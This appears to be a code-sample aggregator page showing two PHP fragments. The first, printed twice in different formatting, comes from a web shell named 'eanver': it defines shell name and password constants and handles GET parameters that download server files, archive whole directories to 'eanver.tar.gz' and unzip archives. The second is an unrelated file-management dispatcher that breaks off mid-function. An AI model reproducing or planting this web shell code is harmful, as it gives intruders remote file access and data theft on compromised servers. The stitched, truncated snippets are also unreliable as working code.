Beispiel #1
0
define('myaddress',__FILE__);
error_reporting(E_ERROR | E_PARSE);
header("content-Type: text/html; charset=gb2312");
@set_time_limit(0);

ob_start();
define('envlpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
	foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
	foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}

/*---End Login---*/
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
	$dir = do_show($_GET['pack']);
	$zip = new eanver($dir);
	$out = $zip->out;
	do_download($out,"eanver.tar.gz");
}
if(isset($_GET['unzip'])){
	css_main();
	start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);
	exit;
}

define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');
define('run_win',substr(PHP_OS, 0, 3) == "WIN");
define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));
@set_time_limit(0);
ob_start();
define('envlpass', $password);
define('shellname', $shellname);
define('myurl', $myurl);
if (@get_magic_quotes_gpc()) {
    foreach ($_POST as $k => $v) {
        $_POST[$k] = stripslashes($v);
    }
    foreach ($_GET as $k => $v) {
        $_GET[$k] = stripslashes($v);
    }
}
/*---End Login---*/
if (isset($_GET['down'])) {
    do_down($_GET['down']);
}
if (isset($_GET['pack'])) {
    $dir = do_show($_GET['pack']);
    $zip = new eanver($dir);
    $out = $zip->out;
    do_download($out, "eanver.tar.gz");
}
if (isset($_GET['unzip'])) {
    css_main();
    start_unzip($_GET['unzip'], $_GET['unzip'], $_GET['todir']);
    exit;
}
define('root_dir', str_replace('\\', '/', dirname(myaddress)) . '/');
define('run_win', substr(PHP_OS, 0, 3) == "WIN");
define('my_shell', str_path(root_dir . $_SERVER['SCRIPT_NAME']));
Beispiel #3
0
    do_delete();
} else {
    if (isset($_POST['do_add_file'])) {
        do_add();
    } else {
        if (isset($_POST['do_edit_file'])) {
            do_edit();
        } else {
            if (isset($_GET['Add'])) {
                show_add_page('');
            } else {
                if (isset($_GET['Up'])) {
                    do_up();
                } else {
                    if (isset($_GET['Down'])) {
                        do_down();
                    } else {
                        show_edit_page('');
                    }
                }
            }
        }
    }
}
function show_add_page($err)
{
    global $body_onload;
    $body_onload = 'document.forms[\'addFile\'].name.focus()';
    if ($err != '') {
        $err = "\n        <div class=\"error\">{$err}</div><br />\n";
    }